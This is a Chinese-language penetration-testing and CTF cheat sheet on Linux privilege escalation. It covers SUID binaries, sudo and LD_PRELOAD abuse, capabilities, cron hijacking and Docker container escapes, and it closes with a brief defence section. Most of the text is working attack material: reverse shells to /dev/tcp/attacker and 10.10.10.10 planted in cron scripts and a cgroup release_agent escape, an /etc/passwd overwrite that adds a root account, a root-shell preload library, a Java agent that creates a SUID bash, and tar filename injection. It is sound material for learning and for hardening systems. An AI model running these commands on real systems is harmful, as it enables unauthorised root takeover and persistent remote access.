前言

Linux 提权是渗透测试和 CTF 竞赛中最关键的环节之一。从拿到一个低权限 shell 到最终获取 root,中间涉及对系统配置、SUID 可执行文件、计划任务、容器环境等多方面的深入理解和利用。

本文系统地汇总了常见的 Linux 提权技巧:以 SUID 16 法为核心,逐条给出具体的利用命令和原理分析;同时覆盖 sudo 配置错误、capabilities 滥用、cron 任务劫持、Docker 容器逃逸等进阶场景。最后提供自动枚举工具速查和防御建议,方便在实际攻防中快速查阅。


一、SUID 提权 16 法

SUID(Set owner User ID upon execution)是 Linux 中的一种特殊权限:当一个可执行文件带有 SUID 位(chmod u+s)时,任何用户执行该文件时都会以文件所有者的身份运行。如果文件所有者是 root,那么程序执行期间就拥有 root 权限。

查找系统中有哪些 SUID 文件:

1
find / -perm -u=s -type f 2>/dev/null

以下是 16 种常见 SUID 可执行文件的提权方法。

1. cp + 命令注入提权

场景cp 命令以 root 权限运行,存在命令注入点。

假设如下定时脚本(start.sh)以 root 身份运行:

1
2
3
4
5
6
7
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s
done &

cp 命令是 root 权限的。在 /var/www/html/primary 里面建立一个指向 flag 的软链接,在 /var/www/html/marstream/ 里面 cat,看不到,因为 cp 命令本身复制链接本身,不会跟随内容,cat 的时候由于 www-data 用户没有任何权限,所以看不到。这里想办法在 cp 的时候直接跟随链接文件把 flag 带出来,利用 -H 选项实现命令注入:

1
2
3
4
5
cd /var/www/html/primary/
>-H
ln -s /flag ff
cd ../marstream
cat f

原理:cp * 的时候相当于 cp -P -H ff /var/www/html/marstream/,把 flag 带出来了。

2. nmap 提权

老版本的 nmap 有交互模式,当 nmap 这个命令有 SUID 权限时可以直接提权:

1
2
3
nmap --interactive
!sh
## 新开一个 shell

3. find 提权

1
2
touch test
find test -exec whoami \;

反弹 shell:

1
find test -exec netcat -lvp 5555 -e /bin/sh \;

4. vi / vim 提权

打开 vim,按下 ESC:

1
2
:set shell=/bin/sh
:shell

或者一行命令直接提权:

1
sudo vim -c '!sh'

5. bash 提权

1
bash -p

-p 参数告诉 bash 不要丢弃特权(以 SUID 方式运行时,bash 默认会 drop 掉 euid)。

6. less 提权

1
2
less /etc/passwd
!/bin/sh

当你在阅读文件内容时,按下 ! 键。这时屏幕底部会出现一个提示符,等待你输入系统命令。

7. more 提权

1
2
more /home/pelle/myfile
!/bin/bash

less,按下 ! 键后输入命令即可。

8. cp 覆盖 /etc/passwd 提权

通过覆盖 /etc/shadow/etc/passwd 来添加一个 root 权限账号:

1
2
3
4
5
6
7
8
9
10
11
12
cat /etc/passwd >passwd
## 将系统当前的账号文件复制一份到当前目录下
openssl passwd -1 -salt hack hack123
## 利用 openssl 生成一段加密后的密码字符串。
## 用户名为:hack
## 密码为:hack123
## 结果是一串类似 $1$hack$WTn... 的哈希值。
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
## 写进去
cp passwd /etc/passwd
## 还回去
su - hack

9. nano 提权

1
nano  /etc/passwd

cp 覆盖 /etc/passwd 方法,直接编辑添加用户。

10. awk 提权

1
awk 'BEGIN {system("/bin/sh")}'
  • awk:本是一个强大的文本处理工具。
  • BEGIN { ... }:这是 awk 的一个特殊模式。它包含的代码会在 awk 读取任何输入文件之前立即执行。这意味着你甚至不需要指定目标文件,命令就能运行。
  • system("/bin/sh"):这是 awk 的内置函数,用于调用底层的操作系统命令。在这里,它被用来直接启动一个 Shell(/bin/sh)。

11. man 提权

1
2
man passwd
!/bin/bash

vi/less,在 man 页面中通过 ! 执行系统命令。

12. wget 提权

1
wget http://192.168.56.1:8080/passwd -O /etc/passwd

cp 覆盖一样,在 VPS 上面写一个 /etc/passwd 文件。在这个伪造的文件里,添加一行:

1
hack:$1$hash...:0:0::/root:/bin/bash

命令执行后就覆盖了系统的 /etc/passwd

13. apache 提权

仅可查看文件,不能弹 shell:

1
apache2 -f /etc/shadow

读取文件,然后同 cat 使用。

14. tcpdump 提权

1
2
3
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

利用 tcpdump-z 选项执行后处理脚本,搭配 -Z 指定以 root 身份运行。

15. Python / Perl / Ruby / Lua / PHP 等脚本语言提权

Python

1
python -c "import os;os.system('/bin/bash')"

Perl

1
exec "/bin/bash";

其他脚本语言(Ruby、Lua、PHP 等)同理,只要该语言的解释器带有 SUID 位,就可以通过一行脚本执行系统命令。

16. Maven 提权

mvn 这个命令有 SUID 权限时,可以通过 Java Agent 机制执行任意命令。

Java Agent 必须是 jar 包

1
2
3
4
5
6
cd /tmp
rm -rf mvnagent
mkdir -p /tmp/mvnagent/.mvn
## 创建临时工作区 mvnagent
## Maven 在启动时,会自动查找当前目录下是否存在 .mvn 文件夹。如果存在,它会读取里面的 jvm.config 文件,并将里面的内容作为参数传递给 Java 虚拟机
cd /tmp/mvnagent

接下来写好 Java Shell 代码,Agent.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.lang.instrument.Instrumentation;
## 必须要实现这个接口
public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
// 定义要执行的命令数组
String[] cmd = {
"/bin/bash",
"-c",
"id > /tmp/agent_id; cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"
};
// 执行命令
Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
// 异常处理(写入错误日志)
try {
java.nio.file.Files.write(
java.nio.file.Paths.get("/tmp/agent_err"),
e.toString().getBytes()
);
} catch (Exception ignored) {}
}
}
}

写入 MANIFEST.MF 文件,告诉 jar 包入口类是什么:

1
2
3
4
cat > MANIFEST.MF <<'EOF'
Premain-Class: Agent
EOF
## 这个类只能写一个类,而且类里面必须要有 premain 方法
1
2
3
4
5
6
7
8
9
10
11
javac Agent.java
jar cfm agent.jar MANIFEST.MF Agent.class
## 编译打包 jar 包
echo "-javaagent:/tmp/mvnagent/agent.jar" > .mvn/jvm.config
## 设置 Maven 启动时加载的 jar 包
# 触发 Maven 启动,此时会以 root 身份执行 Agent 中的代码
sudo /usr/bin/mvn -v
# 执行生成的 SUID bash 获取 root shell
/tmp/rootbash -p
# 验证当前身份
id

执行流程解析:

  1. 当你在命令行输入 mvn -v 时,JVM 会先加载你的 agent.jar
  2. JVM 找到 MANIFEST.MF 中指定的类,并立即调用它的 premain 方法。
  3. 只有当 premain 方法执行完毕(或者报错)后,Maven 自己的 main 方法才会开始运行。

补充:Maven 插件提权(pom.xml 方式)

写入 pom.xml 给 Maven 安装插件执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0"?>
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>test</groupId>
<artifactId>ctf</artifactId>
<version>1.0</version>
<!-- 以上为 pom.xml 头部(识别标志) -->
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<!-- 可执行命令的插件类型 -->
<version>1.6.0</version>
<configuration>
<executable>/bin/cat</executable>
<arguments>
<argument>/flag</argument>
</arguments>
</configuration>
</plugin>
</plugins>
</build>
<!-- -->
</project>

执行:

1
sudo mvn exec:exec

二、sudo 配置错误提权

2.1 枚举 sudo 权限

1
sudo -l

查看当前用户能以 root 身份执行哪些命令。这是提权前最优先执行的命令。

2.2 LD_PRELOAD 劫持

如果 sudo -l 显示可以保留 LD_PRELOAD 环境变量(env_keep+=LD_PRELOAD),则可以劫持共享库:

1
2
3
4
5
6
7
8
9
10
11
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
1
2
gcc -fPIC -shared -nostartfiles -o shell.so shell.c
sudo LD_PRELOAD=/tmp/shell.so apache2

2.3 通配符注入

当某条 sudo 规则允许执行带通配符的命令时,可以滥用文件名注入:

1
2
3
4
5
# 假设 sudo -l 显示: (root) NOPASSWD: /usr/bin/rsync *
# 创建恶意文件
echo "rsync -e 'sh -c \"sh\"' 127.0.0.1:/dev/null" > /tmp/--rsh
chmod +x /tmp/--rsh
sudo /usr/bin/rsync --rsh=/tmp/--rsh /etc/hosts /tmp/

三、capabilities 提权

Linux capabilities 将 root 的权限细分为多个独立的单元。某些程序被赋予了特定的 capability 而没有完整的 SUID 权限,但仍然可以用于提权。

枚举具备 capabilities 的文件:

1
getcap -r / 2>/dev/null

3.1 cap_setuid 提权

如果 Python 拥有 cap_setuid+ep,可以直接设置 UID 为 0:

1
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

3.2 cap_chown 提权

可以修改任意文件的所有者:

1
# 将 /etc/shadow 的所有者改为当前用户,然后读取

3.3 cap_dac_read_search 提权

绕过文件读取权限检查,直接读取任意文件:

1
tar cvf /dev/null /etc/shadow 2>&1

3.4 cap_sys_ptrace 提权

可以调试(ptrace)任意进程,注入 shellcode:

1
2
# 注入到 root 运行的进程
gdb -p <root_pid>

四、cron 任务劫持

4.1 枚举 cron 任务

1
2
3
4
5
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
crontab -l

4.2 可写 cron 脚本劫持

如果 cron 任务调用的脚本对当前用户可写:

1
echo 'bash -i >& /dev/tcp/attacker/4444 0>&1' >> /path/to/writable/cron/script.sh

4.3 PATH 劫持

如果 cron 任务使用了相对路径,可以劫持 PATH 环境变量:

1
# 在 cron PATH 中靠前的可写目录放置恶意同名脚本

4.4 通配符注入 cron 任务

如果 cron 任务中使用了 tarrsync 等命令配合通配符,可以利用文件名注入执行命令:

1
2
3
4
# 创建一个名为 "--checkpoint=1" 的文件
echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

五、Docker 容器逃逸基础

5.1 Docker Socket 挂载

如果容器内挂载了 Docker socket(/var/run/docker.sock),可以在容器内操作宿主机 Docker:

1
2
3
4
# 查看宿主机容器
docker -H unix:///var/run/docker.sock ps
# 启动一个特权容器挂载宿主机根目录
docker -H unix:///var/run/docker.sock run -it -v /:/mnt alpine chroot /mnt sh

5.2 特权模式逃逸(–privileged)

特权容器可以直接挂载宿主机磁盘:

1
2
3
fdisk -l
mount /dev/sda1 /mnt
chroot /mnt /bin/bash

5.3 cap_sys_admin + 设备访问

如果有 cap_sys_admin 能力且可以访问设备文件:

1
2
3
mkdir /tmp/mnt
mount /dev/sda1 /tmp/mnt
chroot /tmp/mnt /bin/bash

5.4 cgroup notify_on_release 逃逸

经典容器逃逸 payload——利用 cgroup 的 notify_on_release 机制在宿主机执行命令:

1
2
3
4
5
6
7
8
9
10
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

六、自动枚举工具

6.1 linpeas

最全面的 Linux 提权枚举脚本,一键扫描 SUID、sudo、capabilities、cron、Docker 等所有提权路径:

1
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

6.2 pspy

无需 root 权限即可监控进程,用来发现隐藏的 cron 任务或定时脚本:

1
2
# 从 https://github.com/DominicBreuker/pspy/releases 下载
./pspy64

6.3 GTFObin 速查

当发现某个有 SUID 或 sudo 权限的命令时,直接在 GTFObin 上查找利用方法:

1
2
3
# 使用 curl 或浏览器访问:
# https://gtfobins.github.io/gtfobins/<command>/
# 例如: https://gtfobins.github.io/gtfobins/find/

七、速查表

按命令索引的快速查找表,当发现某个命令有 SUID / sudo 权限时直接定位利用方法:

命令 提权方式 命令示例
bash 保留特权启动 bash -p
sh 保留特权启动 sh -p
find -exec find x -exec /bin/sh -p \;
vim :shell vim -c ':!/bin/bash -p'
vi :shell 同上
less !/bin/sh less /etc/passwd 后输入 !/bin/sh
more !/bin/sh 同 less
man !/bin/sh 同 less
nano 编辑 passwd nano /etc/passwd
cp 覆盖 passwd cp passwd /etc/passwd
wget 远程覆盖文件 wget http://attacker/passwd -O /etc/passwd
nmap 交互模式 nmap --interactive!sh
awk system() awk 'BEGIN {system("/bin/sh")}'
tcpdump -z 后处理 tcpdump -ln -i any -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
apache 读取文件 apache2 -f /etc/shadow
python os.system python -c "import os;os.system('/bin/sh')"
perl exec perl -e 'exec "/bin/sh"'
lua os.execute lua -e 'os.execute("/bin/sh")'
ruby system ruby -e 'system("/bin/sh")'
php system php -r 'system("/bin/sh");'
mvn Java Agent 通过 .mvn/jvm.config 注入 agent.jar

八、防御建议

  1. 最小化 SUID 使用:定期审查系统中的 SUID 文件,移除不必要的 SUID 位。生产环境中避免给 findvimless 等交互式工具设置 SUID。

  2. 规范 sudo 配置/etc/sudoers 中严格限定可执行的命令,避免通配符规则,确保 env_reset 开启防止环境变量注入。

  3. capabilities 替代 SUID:使用 capabilities 为程序赋予最小特权集,而不是直接给 SUID root,降低攻击面。例如 cap_net_raw+ep 替代完全 root 权限运行 tcpdump

  4. 审计 cron 任务:确保 cron 脚本权限仅对 root 可写,使用绝对路径调用命令,避免通配符使用。

  5. Docker 安全加固:避免挂载 Docker socket 到容器,避免使用 --privileged,使用 seccomp / AppArmor 限制容器系统调用。

  6. 定期扫描:配合 linpeas 等工具定期审计系统,及时发现异常配置。


参考